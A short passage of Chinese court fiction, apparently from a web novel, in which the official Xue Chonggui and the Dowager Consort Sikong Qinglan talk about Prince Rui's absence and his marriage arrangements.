薛崇贵哪里敢回绝，忙点头答应，“那就恭敬不如从命了。” 司空青蓝笑了笑。 “瑞王殿下没在府中？” “早早便出了门，晌午传消息回来，说赶不上吃晚饭，教我们不用等他。” 薛崇贵想了想，意有所指道：“恕老臣直言，既是要议亲了，殿下往后还是多多在府上的好，这样若他自己有什么要求，下官也好第一时间知晓商议。” 司空青蓝似笑非笑，“薛大人，若兆儿真是那耽于美色之人，我也不至于年年张罗各种席面，邀请各大世家女子了！” 薛崇贵惶恐道：“太妃说的是！” 司空青蓝没说话，脸上不辨喜怒。